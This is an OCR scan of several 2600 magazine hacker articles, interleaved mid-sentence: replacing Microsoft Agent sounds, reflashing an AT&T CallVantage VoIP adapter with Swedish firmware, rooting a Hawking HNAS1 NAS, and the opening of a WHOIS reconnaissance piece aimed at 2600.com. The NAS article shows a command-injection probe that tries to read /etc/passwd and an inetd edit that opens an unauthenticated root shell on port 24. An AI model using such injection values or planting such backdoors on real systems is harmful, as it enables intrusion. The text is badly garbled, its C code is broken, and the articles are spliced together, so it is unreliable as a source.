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without looking at the binary. There are a lot of
ways to do this, but the only way I could think of
doing it - without actually looking at the code, of
course - was to t ry to compress the file myself. The
reasoning is that a compressed file won't com­
press much more t han it already has. If there's a
significant compression ratio, say more than 10
percent of its bodymass, t he file has at least some
uncompressed structure.

C:\ Wi ndows\srchasst\chars'v rover.acs went
from 1,S19KBto 1,449KBusing bzip2compression
- with a significant compression factor, I could tell
t hat while some of the contents were compressed
(one would assume images in gif. brnp/rt e. or jpeg
format. as weltas AD PCM, wmv or Mp· audio), the
file itself was not.

Next, I reasoned thusly: When these littl e
avatars first started appearing (read: Cli ppy), Mi ­
crosoft still had a lot of stock in the WAV Eformat,
and in its parent. the RIFFcontainer. It sta nds to
reason t hat Microsoft, as is Microsoft 's wont. wi ll
keep the format unchanged in the interests of
backward compatibility.

Thus, if I want to find the locations of the au­
dio in an Agent, the method most likely to yield
fruit would be to split the file up by RIFF signa­
tures. To do this without looking at t he code is
easy: I wrote a small eli Cprogram t hat would seek
until its first RIFF, t hen output alLdata to a file,
changing t he filename whenever another RIFF sig
is found. I didn't personally have to look at t he bi­
nary at all.

Once extracted, the audio, being wave files,
was theoretically clean. I could, t herefore, theo­
reticallylook at t hem. Theoretically is right; I did­
n't knowif there was any chaff data in between or
aft er the last file. Chaff data is "dirty" and must
not be touched. My savior? sndrec32.exe.

I reasoned like t his: sndrec32.exe uses the
Windows API to handle sound files. As such, it
should be incapable of carrying any extraneous
data - t.e.. t his chaff I'm on about - past the
length of the wave file. Sot he quickand dirty way
to get clean would be to open each of the ten fiLes

Greetings from t he Central Office. And weL­
come to The Telecom Informer! In this new coLu mn
I'll be your guide through the exciting, dynamic,
and rapidly evolving world of telecommunications.

Wait a minute! Exciting? Dynamic? Rapidly
evoLving? These are, you might think, descriptions
that are much more applicable to the Internet,

t hat myCprogram output, and press "cut- s". sav­
ing scrubbed-up copies of each.

Now I had ten wave files of "clean" data (it
turned out that before I only had nine; t he last
file had some additional data tagging along at t he
end). They were in various subformats (z-bit AD­
PC M, 8-bit PCM, 16-bit PCM ), which led me to be­
lieve I could replace them with any valid wave file
of the same size.

I then hand-generated te n fart noises of vary­
ing pitch and length at 8kHz, Sbit mono PCM,
matching each of the ten usual sounds in exact
size. I then modified myCprogram to instead i n~

sert the files, in order, starting from each RI FF
signat ure.

I was worried at this point that the re might be
a checksumsomewhere in the file. I'd have no way
of getting around that without ' tockinq' at the bi­
nary. (Having your program actually process each
and every byte does count. Skim ming over each
does not.) Rest assured, t here was no corruption
detection mechanism or this article would never
have left my fingertips.

Apparently Microsoft has no idea someone
would want to modify one of their Agents - t hough
I couldn't understand why you wouldn't.

I replaced t he original rover.acs with my new
modified puppy. Explorer needed to be killed for
this to work, so I killed it and copied my new
rover.acs to its original location in
C: \ Wi ndows\ srchasst \ chars. Rover nowtoots like
he's survived on nothing but Mexican food and
Olestra potato chips.

Meanwhile, t his approach brings up a whole
field of possibilities - maybe t he images are in a
recognizable format as well. Perhaps it 's possible,
if a little crude, to modify Clippyso that one of his
"tricks" is to get bent into a pretzel and inserted
into a goat's anus bya burlywoman.

OK, yeah, t hat was excessive, even for specula­
tion.

I mean, doesn't everyone hate Clippy t hat
much?

world trade, or the Bush administration's lat est
excuse for invading Iraq. While other areas of
techno Logy are definitely interesting, and wireline
telephony hasn't changed much in the Last 15
years, telecommunications is a fast-changing,
growing, and evolving industry.

Ofcourse, it can be a challenge t hese days to
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define just what "telecommunications" is. Things
were so much simpler in the days of the Bell Sys­
tem! Certainly, you can still make a call using a
traditional landline telephone. However, you
couldalso make t he same call using any of five dif­
ferent cellular technologies (and t hat's just in
North America), dozens of IP-based telecommuni­
cations services, nearly a half-dozen satellite
phone services, or any combination of the above.

In this issue, I'U showyou howto add a second
phone line to your house for less than $20 - with
no monthly fee!

What happens when you give a Swedish mas­
sage to an AT&TCallVantage adapter? FreeWorldDl­
atup ecstasy! Confused? Read on, and I'll explain.

Voice over IP (VoIP) landline replacement ser­
vices such as Vonage, Packet8, and AT&TCaLLVan­
tage have skyrocketed in popularity over the past
year. Ta ki ng a cue fro m the wireless phone indus­
t ry, providers of these services offer gateway
adapters at very low prices - even free (after re­
bate, of course)!

The catch, as you might expect, is t hat the
hardware you buy is "locked.n You can only use it
with services provided bythe company t hat sold it
to you, even if it is technologically compatible
with other services. If you want to change VoIP
service providers or even try a free one (such as
FreeWorLdDia lup), you have to change your hard­
ware. This big hassle is made even bigger by t he
fact t hat VolP adapters are designed to sit at t he
front of your network, controlling all traffic be­
hind it. This approach is taken to improve quality
of service (OoS) on voice calls by limiting the
bandwidth used by other simultaneous Internet
traffic. It 's undoubtedlyalso ta ken to ensure that
swi tching providers is a major ordeal.

VoIP Hardware
I got interested in the Il-Link DVG -1120M

adapter, which is designed for the AT&T Ca llvan­
tage service, becauseI'm t hrifty. Well, that 's howI
describe myself anyway; most of my friends de­
scribe me using less flatte ring terms like "cheap
bastard." In any event, t he AT&T CatlVantage
adapter is much Less expensive than most other
VoIP gateways. As of this writing, you can buy a
DVG-1120Mfor less t han $20 at Fry's Electronics.
But, following the tried-and-true Gillette "give
away the razor and make money on the blades"
business model, the AT&TCalLVantage service sells
for about $30 per month for unlimited usage. Of
course, t his is more expensive than competitive
services such as Vonage or Packets. and it's a heck
of a lot more than free (mypreferred cost) .

My goal, which I successfully accomplished,
was to unlock and use the adapter with the Free­
Wo rldDialup service. This is a free SIP-based VoIP
service t hat aLLows not only free calling to any
other FreeWorldDialup user, but free outgoing
calls to any landline toll-free (freephone) number

in the U.S. and numerous other countries (includ­
ing Germany, the U.K., and the Netherlands to
name a few). Even better, the re are numerous
landline gateway services that provide free,
anonymous landline phone numbers for incoming
calls to your FreeWorldDialup line.

Hackingthe DVG-112DM
I quickly encounte red a seeminglyinsurmount­

able challenge. Although t he de-facto standard
protocol for most VolP communications is SIP,
AT&T CallVantage uses the less popular MGCP pro­
tocol. Fortunately, after doing some further re­
search, I learned t hat the Il-l.ink DVG·1120Mhas a
twin called the DVG-1120S. The hardware on both
units is identical, but the firmwa re on the DVG­
11205 supports SIP instead of MG CP. Better yet, I
learned that it is possible to flash t he DVG-1120M
with the Swedish firmware for the DVG-1120S
(don't worry, t he menus are in English), which al­
lows t he use of FreeWorldDiatup and other SIP­
based services .

While the hack isn't complicated, it's pretty
long and involved so I've broken it out into de­
tailed steps. To convert the DVG-1120M to a DVG­
1120S and use it with FreeWorldDiaLu p, follow the
procedures below.

Getting Started
1. Obtain the folLowing prerequisites:
• A computer running Wi ndows 2000 or Win­

dows XP equipped with an Ethernet adapter con­
figured for DH CP.

• DVG -1120S firmware version b09, boot PROM
~ersion s08, and D-Lin kTFTPserver. You can down­
load the files from www.geocities.com/sigmaz_l
as of t his writing. If they are no longer there,
search the Web for DVG_1120MtoSJi rmware.zip.

• AT&T CaliVantage DVG-1120Mkit.
• A FreeWor ldDialup account . Sign up for free

at http://www.freeworlddialup.com.
2. Power on t he DVG -1120M .
3. Using the Ethernet cable that came with the

DVG-1120M, plug it directly into the Ethernet port
on your computer.

App ly the Runtime Updat e
1. Go to a command prompt and type the fol­

lowing command: ipconfig jail
• If the IP address of your computer is in t he

192.168.15.x subnet, your DVG-1120M is properly
connected. Proceed to the next step.

• If the IP address of your computer is not in
the 192.168.15.x subnet, your DVG-1120Mis not
properly connected. Verify all connections. This
shouLd fix the problem. If the issue is still not re­
solved, perform a manuat factory reset on the
DVG -1120M unit following t he inst ructions in t he
Ir-Li nk documentation.

2. Start Internet Explo rer and go to the follow­
ing URL: http:/ /192 .168.15,1.

3. Click Login to the Web-Based Ma nagement
Module.
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4. Click Advanced. This will prompt you for a
user name and password.

5. Type admin in th e User Name and Password
text boxes and t hen click OK.

6. Using Windows Ex plorer, go to the folder
where the Dlin kTftpServer.exe, 1120S_prom­
codebuc.bin. and 1120S_runtime_s08.tfp files
are located, and then sta rt t he
DlinkTftpServer.exe program.

7. Note : If you are running a firewall, you may
need to eit her disable it or add the Dlink­
TftpServer.exe program to t he Exceptions list.

8. Switch back to t he Ad mi nistration web page.
In the left hand navigation pane, click Firmware
Update.

9. In the TFTP Server Address text boxes, type
t he IP address of your compute r (as shownin Step
1).

10. In t he Firmware Update drop-down list, se­
lect Enabled.

11. In th e Fi le Name text box, type 1120S_run­
time_s08.t fp and then click Save. This will apply
the runtime update. If you are impatient, you can
view the Status display in th e Dli nkTftpServer.exe
program to confirm t hat th e upgrade is in
progress.

12. After t he runtime update is applied, click
Save Changes and Reboot System Now and th en
click Save. The DVG-1120M will make an audible
clicking sound and it will th en reboot.

13. Close Internet Explorer and t he Dlink­
TftpServer.exe program.

Applythe Firmware Update
1. Go to a command prompt and type the fol­

lowing command: ipconfig jall
• If t he IP address of your computer is in t he

192.168.0.x subnet. your DVG-1120M is property
connected. Proceed to t he next step .

• If t he IP address of your compute r is not in
th e 192.168.0.x subnet, your DVG -1120M is not
properly connected. Ve rify all connections. Th is
should fix th e problem. If the issue is still not re­
solved, perform a manual facto ry reset on t he
DVG -1120M unit followi ng t he inst ructions in t he
D-Link documentatio n.

2. Start Internet Explorer and go to t he follow­
ing URL: htt p://192. 168.0.1.

3. Click Login to t he Web-Based Management
Mod ule. This will prompt you for a user name and
password.

4. Type admin in t he User Name and Password
text boxes and then click OK.

5. Usi ng Wi ndows Explorer, go to the folder
where th e DlinkTftpServer.exe, 1120S_prom­
code_b09.bin, and 1120S_r untime_s08.tfp files
are located, and t hen sta rt DlinkTftpServer.exe

6. Note: If you are running a firewall, you may
need to eit her disable it or add t he Dlink­
TftpServer.exe program to t he Exceptions list.

7. Switch back to the Administ ration web page.

In the left hand navigation pane, click Fi rmware
Update.

8. In the TFT P Server Address text boxes, type
the IP address of your computer (as shown in Step
1).

9. In t he Firmware Update drop-down list, se­
lect Enabled.

10. In t he File Name text box, type
1120S_promcode_b09.bin and t hen click Save.
This wi ll apply t he firmware update. If you are im­
patient, you can view t he Status display in the
DLi nkTftpServer.exe application to confirm t hat
the upgrade is in progress.

11. After the firmware update is applied, click
Save Changes and Reboot System Now and t hen
click Save. The DVG-1120S (yes, it 's now a DVG­
1120S) wi ll make an audible clicking sound and it
willth en reboot.

12. Close Internet Explorer and the Dlink­
Tft pServer.exe program.

Confirm Upgrade Success
1. Go t o a command prompt and type t he fol­

lowi ng command: ipconfig j ail
• If th e IP address of your compute r is in the

192.168.0.x subnet. your DVG -1120S is properly
connected. Proceed t o th e next step.

• If t he IP address of your computer is not in
the 192.168.0.x sub-ret. your DVG-1120M is not
properly connected. Verify all connections. This
should fix the problem. If the issue is still not re­
solved, perform a manual factory reset on the
DVG-1120M unit following th e instructions in th e
D-Li nk documentation.

2. Start Internet Exp lorer and go to th e foLlow­
ing URL: http ://192.168.0.1.

3 . Click Login to the Web-Based Management
Mod ule. This will prompt you for a user name and
password.

4. Type admin in the User Name and Password
t ext boxes, and then click OK.

5. In the Device Information window, confirm
th at 0.00-B09 is displayed in' the Boot Prom Ver­
sion field and 0.0-S08 is displayed in t he Firmware
Version field. If you see different values, you did
not successfuLLy unlockyour DVG-1120M.

Factory Reset
Now that your device is a DVG -1120S, you'll

need to load t he correct default setti ngs. Other­
wise, the old DVG-1120M default settings are
maintained and t hey willcause you no end of trou­
ble.

To perform a facto ry reset:
1. On t he left-hand navigation bar, click Fac­

tory Reset.
2. Click the Reset to Factory Default button

and confirm t hat you want to perform a factory re­
set.

Secure th e DVG-1120S
Whi le you are not required to do so, it is a good

idea to secure your DVG-1120S with a strong pass-
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word. After aLL it wiLL probably be in front of your
enti re network! To change the password, follow
the procedure below:

1. Log back on to t he DVG-1120S.
2. Click Administration Management.
3. In th e Old Password text box, type admin.
4. In the New Password text box, type a strong

password. I recommend using passwords of at
Least ten characters in Length that are a non-obvi­
ous combination of lett ers, numbers, and symbols
(sorry, your phone number is not a strong pass­
word) .

5. In th e Co nfirm New Password text box, re­
type t he password you typed in t he New Password
text box.

6. Click Save. The dialog box wi ll refresh but
you will not see any visible confirmation of the
password change.

7. In t he left hand navigation pane, click Save
and Resta rt System.

8. Click t he Yes radio button to save the set­
tings and t hen click Resta rt . The DVG -1120S will
restart and you willhear t he familiar audible click.

TCPj IP Configuration
The DVG-1120S is designed to connect directly

t o your cable or DSL modem and act as t he gate­
way device for your network. It does not work cor­
rectLy unless it is assigned an Internet IP address
so you reaLLy do need to put it directLy on t he In­
te rnet (outside t he firewall). You might aLso need
to put your cable or DS L modem into "bridge
mode" in order t o get everything working.

• If you have a static, aOOTP-assigned, or PP­
POE-assigned IP address on the Inte rnet, click
Config IP in the Left hand navigation pane. Yo u
can then click Co nfig WAN IP Ad dress to update
this information.

• If you have a DH CP-assigned IP address on
t he Int ernet, do not change t he default setti ngs.
This is th e default.

By default, t he DVG-1120S uses th e
192.168.0.x subnet for your home network. If you
are not familiar with TCPjIP subnetti ng and
RFC1918, changing this value is not advised. How­
ever, you can do so on th e Config LANIP Add ress
menu. Don't forget to update th e DHCP scope as
weLL! Yo u can do this on the DHCP Configuration
menu.

Configuri ng FreeWorldDialup
Server Information

To configure your DVG-11 20S to connect to
FreeWorldDialup servers, click SIP Configuration
on the left hand navigation pane, and t hen click
Server.

1. From th e Server FQDN drop-down list, select
Ena bled.

2. In the Domain Name text box, type fwd.pul­
ver.com

3. In the Port t ext box, type 5060 (this is t he

defauLt, so do not change it if already displayed).
4. In the Service Domain text box, type

fwd.puLver.com
5. From t he URL Format drop-down list, select

SIP-URL (t his is the default , so do not change it if
already displayed).

6. From th e User Parameter Phone drop-down
list, select Enabled.

7. From th e Timer T2 drop-down List , select 4.
8. In t he Register Ex piration text box, type

3600 (this is th e default, so do not change it if al­
ready displayed).

9. In th e Session Expires t ext box, type 180
(this is the default, so do not change it if already
displayed) .

10. In t he Min-SE text box, type 180 (this is
t he defauLt, so do not change it if already dis­
played) .

11. From t he Session Expires Refresher drop­
down list, select uac.

12. ScrolLto the bottom and click Save.
13. SeLect t he Continue and Restart Later radio

butto n and t hen clickSave.
Configuring FreeWorldDiaLup

User Agent Information
To configure your DVG -1120S with your Free­

World DiaLup phone number, click SIP Configura­
tion on th e left hand navigation pane and t hen
click User Agent.

1. From the Same Phone Number drop-down
list, select Enabled.

2. Do not change the default value of 1 on t he
Index drop-down list .

3. In t he Phone Nu mber text box, type your
FreeWorldDialup phone number (for example,
55555 ).

4. In t he Display Na metext box, type t he Caller
ID name you want to be dispLayed when you call
someone (for example, Alm on Strowger).

5. Do not change the default value of Yes on
t he Caller ID DeLivery drop-down list.

6. Do not change th e default value of Disabled
on the Disp lay CID drop-down list.

7. In t he User Agent Port text box, type 5060
(this is the defauLt value, so do not change it if al­
ready displayed) .

8. In the Authentication Username text box,
type your FreeWorldDialup phone number (for ex­
ample, 5555 5).

9. In the Authentication Password and Confirm
Password text boxes, type your FreeWorldDialup
password.

10. ScroLLto the botto m and click Save.
11. Select t he Save Changes and Reboot Sys­

tem Now radio butt on and the n click Save.
Con nect DVG-112DS

Now that your DVG-1120S is configured, con­
nect it to th e Internet according to t he documen­
tation that is included. If you did everything
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correctLy, t he Status light willbe soLid green after
the unit boots and you'LLhear a dial tone when you
pick up. You should be able to place and receive
calls using FreeWorLdDialup and connect to the In­
ternet via the DVG-1120S.

Tipsa nd Tricks
• The DVG-1120S does not support STUN. It

must have its own externaLly routabLe Int ernet IP
address. If this configuration won't wo rk for you,
then you should not buy the DVG-1120S.

• You can use the DVG-1120S as a NAT router,
aLthough it provides only basic functionaLity. UPNP
is not supported and you can only forward five
static ports. If you use this unit as the primary
gateway for your home network, you're probably
not a power user.

• For some reason, you need to dial ***1­
800/ 1-888/etc. instead 01 ' 1-800/ 1-888/etc.
when pLa cing to ll-free caLLs via FreeWorldDialup.
This condition is unique to the DVG -1120S and I
have not heard of any other SIP adapters where
this is necessary.

• Don't put your unit into "bridqe mode." This
doesn't appear to do anything except lock you out
of t he configuration menus. which is a real hassle
when you want to change something.

• The settings documented above are not the

only ones that work correctly with FreeWorldDi­
alup. However, they are the closest working set­
tings to t he default setti ngs. If you're fee Li ng
adventurous (and more importantLy. if you know
what you're doing), you can fine tune the settings
to better match your preferences.

Acknowledgment s
If Sigmaz hadn't been curious and wondered

what happens when you flash an AT&TCaLlVan t age
adapter with Swedish D-li nk firmware, this hack
wouldn't be possible. He figured it out; alLI did
was writ e an article.

Looking Ahead
The rapid pace of change in t he telecommuni­

cations industry. even over the past five years, has
been astounding. Of course, so has the erosion in
our civil liberties. Lately, taw-breakinq "law en­
forcement" and so-called "intelligence" agencies
have been heavily lobbying Congress to "update
and modernize" wiret ap laws t hey have chosen to
ignore in the meantime. Inconveniences such as
the Fourth Amendment are awfully unfashionable
since September 11th, which, of course, "chanqed
everything" according to the simpListic braying of
mindLess politic ians. Including, it wou ld seem, t he
plain La nguage of t he U.S. Constit ution - but t hat's
a subject for a future column....

Hac ing t e HNASl

I resolved to hack it so I~o~ ld be able to im­
proveth e featureset .

First Hack Whack
First some reconnaissa nce was in order.
I st arted with a bit of googling and learned

t hat t he HNASl runs Brecis linux, a MIPS uClinux
dist. Unlike most uClin ux dists. t his one has a
working forkO system call.

Next came the obligato ry nmap portscan:
Starting nmap 3.93 ( http://www.insecure

-. orgj nmap ) at 2005-09-20 17:13 ED T
Interesting ports on I-DRIVE(192.168.1.100):
(The 1662 ports scanned but not shown below

are in state: closed)
FOR T STATE S ER V I CE

21 / t cp op en ftp

24 / t cp op en pri v - roai l
80 / t cp open h ttp
139/ t c p open net b i os - s s n
445/t c p open micr os o f t -ds
1720/t cp fil t e r ed H . 323 / Q. 931

MAC Addr e s s : OO: 08 :54 : D6: 90 : F8 (Ne t r on i x)
The Netronix ownership ofth e MACaddress is

interesting. It appears the HNAS1 is a rebranded

by MichaeLSaarna
The HNAS1 is a NetworkAttached Sto rage unit

from Hawking Technologies. Basically it' s a mini­
computer with a smalLIDE bay set up for ftteshar­
ing. It runs uClinux on MIPSand has a Quite nice
web-based admin interface.

I ordered one of t hese units t hinking that it
would be great to share files wit h family and
friends. I figured that I'd just forward http from
the firewall and set up a user for each of t hem.
Simplicity! As an added bonus it appea red t hat
nobody had hacked t hem yet - I filed t hat away
as a back burner project.

The unit arrived later that week and I had one
of those "uh oh" moments. It appears that the
HNASI only supports ftp and samba. What t he
hell - it has an htt pd right, so why no htt p ac­
cess?!? Guess I should have read the feature List a
bit more carefully.

Trying it out, I found that I loved everything
else about this unit. It took up barely any room,
t he interface was straightforward, and it bareLy
drew any power.
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Net ronix box. Judging by the specs at t he
Netronix website , it looks like an NH -21O.

The port 24 part caught my eye too. Aquick
telnet to port 24 late r and t he followinq banner
printed out on my term:
www.br e c i s . c om
28 July 2 0 03
We lcome to linux 2. 4. 2 0- br25 1 by BRECIS
(Release 2 .5 . 1 )

Brec i s l i n ux incorporates change s f r om

kernel . o r g , and uc1inux .org as we ll as
locally derived features t o provide a

r ob us t environmen t f or the embedde d BRE­

CI S mips c h i p . Almost any p rogram t hat

c an run wi t h less than 64k o f stack

s ho ul d work . Most all features o f t he

l inux k ern e l are provided

The wcw r untime li b r ar y origina t ed at
uclibc .org. On e n i c e featur e i s that t h e

f ork ( ) system c a l l works ( a l t h o ugh

s l o wly ) for t his fLMU-less chip .

For more information •••

It goes on for a while, but you get the idea.
After t he banner was displayed, the telnet ses­
sion was te rminated.

ThenI star ted to pokearound the web admin­
istration interface, trying out the standard htt pd
exploit s. A directory backu p att empt wi th the
UR L ''http:/ / 191.168.1.100/ ..'' resulted in just
t he index page, not a previous directory.

Thinking that perhaps the httpd devs might
have missed a bounds check somewhere, I at­
tempte d to overflow the htt pdj cgi wit h various
artificially long UR Ls, modified form submissions
wi th abnormally long fields, etc., wit h no tuck.
Again, it always just returned the main index
page.

I the n tried entering some shell-interruption
into the form submissions, in hopes that some of
the admin interface did a system calL somewhere
wit hout sanitizing the input. So for the timezone
interface I tried "ntpO.fau.de , j binj cat
j etcjpasswd" and the like. The web interface re­
turned to the same page with sanitized fieLds.

I was actually pLeased at this point. These
were some pretty standard att acks to guard
against. but a lot of manufacturers seem to sLip
up somewhere, as in the linksysWRT54G ping vul­
nerability. The fact that the deveLo pers had
avoided these pitfalls gave me some confidence
in the custom software running on the HNA51.

TryTry Again
Since the front door was secure, I decided it

wastime to take a different approach.
In my web research I had found that some

peopLe had probLems wit h earlier firm wares and
Windows XPsystems. I sent the followi ng mail to
techsupport@hawkingtech.com:
Hi ,

I j us t recen t l y p u r cha sed y ou r HNASl

product an d am gene ra l ly h ap py .

I hav e an issue accessing it v ia my one

XP sys t em, a nd was just wondering i f

there 's a si t e t hat I can download up ­

d a ted zrrmwa res for it . I 've read on the

Internet t ha t other users have e ncoun ­

t ere d problems with XP , and you 've s ent

t hem updated firmware to Ex the i ssue .

OK, well I was technically having a problem
accessing the HNA51; I just didn't mention that it
was a problemwith htt p access of the shares!

Hawking support eventually replied a coupLe
of days later with an attached firmware update.
Sweet!

Firmware AnaLysis
The firmware update fiLe was just over t hree

megs, so I assumed it was a full flash update
rather than a selective fiLe update.

Firing up the hex editor revealed some inte r­
esting stuff. First , there was a 512 byte header.
The initial 99 bytes consisted of ascii text , foL­
lowed by zeros:
MAGI CNUM=ADX02 3spFc OMn6 l iBscq9kEr .PROD

- UCT_ I D=NH2 0 0 .

CUSTOMER=HAWKING.VERSION=vl .02 (06-07 ­

_ 2 0 0S )_e x t 3

The rest of the file Looked fairly randomish,
except for some interesting strings in the middle:
v fprintf : out of memory• . . .. . . . un zip ­

_ Un k n own header at address ex, %Ox ,

_ %Ox . . unzip - Un kno wn compre s sion

_ me t h od, should b e 8 . . .

and a bit later, surrounded by more ran­
dornis h bytes was the text "image.bin".

This gave me great hope that I'd find some
compressed image data in the firm ware update.

What ATooL
I decided in order to aid my analysis I'd write

a too l that wrapped t he Unix "file" command. Fo r
those of you unfamilia r with file, it takes a look
at certain signature bytes within a file and re­
ports to you what it believes the file is.
file some/He

s ome fil e : POSIX tar archi ve
What I needed was a tool that would run the

file comma nd at various offsets within an image
file and Log the results. A quick bit of coding
yielded fsearch...

II fsearc h .c : runs t he w fi le~ c omma nd on
II a l l byte o f f s e t s in a n image fil e

II license: GPL. See gn u .org for de tails .
II requires : an externa l M file ~ command s ,
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II and a Uni x a l i k e as (cygwin works)
II caution : fscan yei l d s lots of fals e positives .
II c omp i le: c c fea rch.c - 0 fscan
II usage : fsearch imagefile

#include <stdio .h>
#include <stdlib .h>

int main{int a r gc , char * *a r gv )

FILE eLn , - cu t. r
int t i
char *buf f e r :
cha r sys s [ 10 24j ;
c har result sfile [1024j ,fname l l024j i

i nt f s i 2e,wsize:

if (ar g c <2 )
{

fprint f ( s t derr , "%0 mu s t be ca l led wi th a filen a me argument \ n" , a r gv [ O] );
e xit ( l } i

l i t he name of t he results fi l e
snprintf (re s u l t sfile , 1024, "as • results . txt R , a r gv [ I) ) ;

II Zero out the res u l t s file i f it exist s
out=fopen (r esultsfile , ·wb·) i
if (out==NULL)
{

fpr int f( s tderr, ~coudln 't wr i t e to filesystem\n~):

exit(l) ;

)
fclose(out) ;

strcpy(fname , a rgv l l] ) i

Lnefo p e n j fname, "rb" ) ;
if( i n==NULL )
{

fpri ntf (s tde r r , " c o u d l n 't r e a d %s\n" , f n a me ) ;
exit{l ) ;

Ilfetch t he file s ize
fseek (in,O , SEEK_END);
fs i 2e=ft e l l( in) :
fclose(in) ;

buffe r=ma lloc( fs i 2e):
if(buffer==NULLI
(

fprin t f( s t d e r r, ·coudln 't alloc ate buffer memory\n " ) ;
exit(I) ;

)
i n= fope n ( fna me . "rb "] ;
if (in5 ..NULL)
{

fprint f ( stderr, "coudln' t o pe n as f o r reading\n" , fname ) i

free( buffer} ;
exit(l) i

}
if(fread( bu ffe r, l,fs ize, in) <fsize)
{
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f p ri n tf(stderr, "troub l e read ing
"'%s\n " ,fn ame) ;

f r e e (buff e r ) ;
exit (l )i

}
f c Lo s et i.n ) ;
f o r( t =O; t < f s i z e- l it++)
{

out=fopen ( "fi l e t yp e - gu e ss " , "wb"} i

i f( o ut ==NULL)
{

f p r int f ( s t d e r r , "c oul d n' t
open ' fil e t y p e - gu e s s' fo r wr-Lt. Lnq vn") i

f r e e t b u f f e'r ) ;
ex i t ( l ) ;

}
it( f s ize - t> 5 l2 )

ws i ze = 51 2 ;
el s e

wsi ze= f s i ze-t ;
f wr ite (b uf fe r +t, l, ws i ze,ou t );
fc lose (ou t ) ;
s printf (syss, " e c h o Ox%x - $ (file

- fil ety pe - guess) » %s" , t. , resu l t.a fiLe ) i

s ystem{syss ) i

}
f r e e {b uff e r) ;

#i f d e f WI N32
s ys t em ( "del filety p e - g u e s s 2> NUL " ) i

#else
s ys t. erru "rm filety pe-gu e s s

_ 2> / d ev/n ull" ) i

#endif
exit ( O};

Firmware Analysis Part II:
The Legend of Curley's Gold

I t hen ran fscan against th e firmware update
and waited a while for it to build up its log. Being
impatient I stopped it when it had passed the in­
t eresting "unzip" area.

Bingo - at offset Ox3a28, fscan had some in­
t eresting information:
Ox3a28 - fll e t ype-a naly s i s : gzip c om
_ pr e s s ed data , wa s "ima ge . b in", t r om

- Uni x , max c omp r e s s i on

It tu rns out from Ox3a28 to t he end of t he file
is just one big gzip file t hat gets used for filesys­
tem update .

On to image.bin
I extracted t he gzip with t he followi ng com­

mand:
dd i f =up date-nl e -from-h awk in g of=i mage .
_bin . g z bs=l s k ip=148 88

which creates image.bin.gz, which I gun­
zipped with:
gun z ip i ma ge . bin . gz

which creates t he uncompressed image.bin,
which I t hen loaded up into t he hex editor. Im­
age. bin appears to be a raw flash image, ripe for
editing. It begins with what I believe is a kernel
(and possibly some other data), followed by a
romfs filesystem at Ox18E060.

I managed all of my initial hacks wit h just a
hex edito r, but I've since extracted the romfs,
creat ed a replacement , and stuck it back on. I
leave this as an exercise to t he reader.

The Edits
The first order of business was adding a root

shell. Investigating the image conte nts revealed
t hat although t here was a commented-out
inet. conf entry for telnetd, no such binary ex­
iste d. Not a problem, since you can always run a
shell frominetd for a quick-and-dirty tel netd.

There were actually three inetd.conf type
files, inetd.conf itse lf, and two other prototype
inetd.conf files that are used by t he configura­
tion scripts to build inetd.conf. I edite d all of
the m so the line t hat used to read:
up t i me s t r e am t e p n o wai t root /bin/eat
-/pr oe/ upt i me j e t e / i s s ue
now reads:
up t ime s t r e am t e p nowa i t r oo t /b i n/s h -i

Since t his line was shorter t han t he original, I
changed ext ra characters into 'Oa' newlines, so as
not to goo up inetd.

After adding t he rootshell to the image, I
then changed one of the comments in t he jetcjrc
sta rtup script to calL my own
jmn tjsysjetcji nit .sh script. j mnt is where t he
IDE hard disk gets mounted, so t his would allow
me to add additional scripts and binaries on the
hard disk without any messyfirmware updates.

The last few Li nes used to read:
/e t e / re. d/i n i t .sh s t art II "Can' t s tart
_ini t. s h l!"
exit
# End o f file / e t e / r c
I c han ged t he m t o no w re a d:
/ e t c / r c . d / i n i t . s h s tart 1/ "Can' t s t a r t
-init. s h i ! "
/mnt/sy s /etc/i n i t.s h &
e x i t

Putting It Together and The Acid Test
Putt ing it back together was fairly easy....

gzip - 9 i ma ge . b i n
( d d i f=Update - fl l e- f r om- hawkin g bs=l
" c o unt= 14 88 8 ; cat i mage .bin .gz ) } hacked
" - up da t e . we b

I held my breath as I sent t he update to t he
HNASl via the browser-based admin tool. The
tool counted down from 150 seconds. Would I
brick my $90 investment? Would t he update fail
due to some checksum I hadn't tracked down?

Nope! Ate lnet to port 24 now gave me:
Con necte d t o 192. 1 68 .1 . 15 5 .
Es c ap e charac ter i s . ~ ] , .
Bu syBox v O. 6 0 .] ( 20 05. 0 6 .07-05 :49+000 0 )
-Bui lt -in she l l ( a s h)
En ter 'help ' f or a li s t o f buil t -in
- c omman d s .

#-
Yay, a prompt!
I then added a test init.sh script t o

j mntj sysj et cj t hat just contained t he followin g:
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I bin l t ouch I mn t/s y s l e t clI RAN

A reboot later revealed the creation of t he
CRANfile in the j mntjsysjetc directory. The box
was mi ne.

I set up a cross compiler and built thtt pd. The
details are long and boring, and documented
elsewhere on t he web. Just google "gee mips
cross-compiler" and you should be able to find
your way.

After buildinq thttod . I then put it in t he
f mntfsys/bin directory and added a command to
launch it from/ mntfsysfetc/init.sh.

Another reboot lat er and I had my web server
sharing out files. M1ssion complete!

Postscript
Afte r hacking this t hing wide open I discov­

ered some int eresting news. Some hackers in
Germany have been providing replacement
firmware for some of t he other rebranded units

Hacking
byAndrew Smith

This article is largely about fact-finding and
planning. The target of 2600.com is chosen to
spark some interest . It 's also writt en with the as­
sumption that the 2600 staff has a sense of hu­
mor. If you're reading this then you can probabLy
conclude that t hey do. For the sake of this tit le
"hacking" means "the pursuit of information."

Disclaimer: I t horoughly encourage you to do
everything that I detai l in t his article; it 's fasci­
nating and not ilLegal in the slightest.

50 we want to impress our haxOr buddiez on
EFnet with our mad skills and what not . Why not
choose 2600.com as our target?

But where to begin? Let's start with alLt he in­
formation we have: t he domain.

The Power of WHOIS
WH Ol5 is a system in which contact informa­

tion and some other details can be found from a
domain name. The domain name we want to hack
is 2600.com so we input it at our favorite online
WHOIS engine (xwhois.com, uwhois.ccmto name
two). The result is:
Domain Name : 260 0 .COH
Registrar : NETf'iORK SOLUTIONS , LLC .
Whois Server : whoi s .networksol ut ions .com
Referr a l URL : ht t p : / /www . networksolu
- t i o n s. c o m
Name Server : PHALSE .26 00 . COM
Name Server : NS . NAH6 . COM
Name Ser ver : NS 2 . NAH6 . COH
S ta t us: REGIS TRAR - LOCK
Upd a t e d Date : 04 -feb-2 005
Cr e at ion Dat e : 03~feb-199 4

Expirat ion Da t e : 0 4- feb - 2 0 0 8

(though not t he HNAS1). As far as I can tell they
haven't released t he details of t he firmware-up­
date file as I've done here.

While these firmware updates aren't directly
applicable to t he HNA51 - not without ripping
the update apart and changing the internal sig­
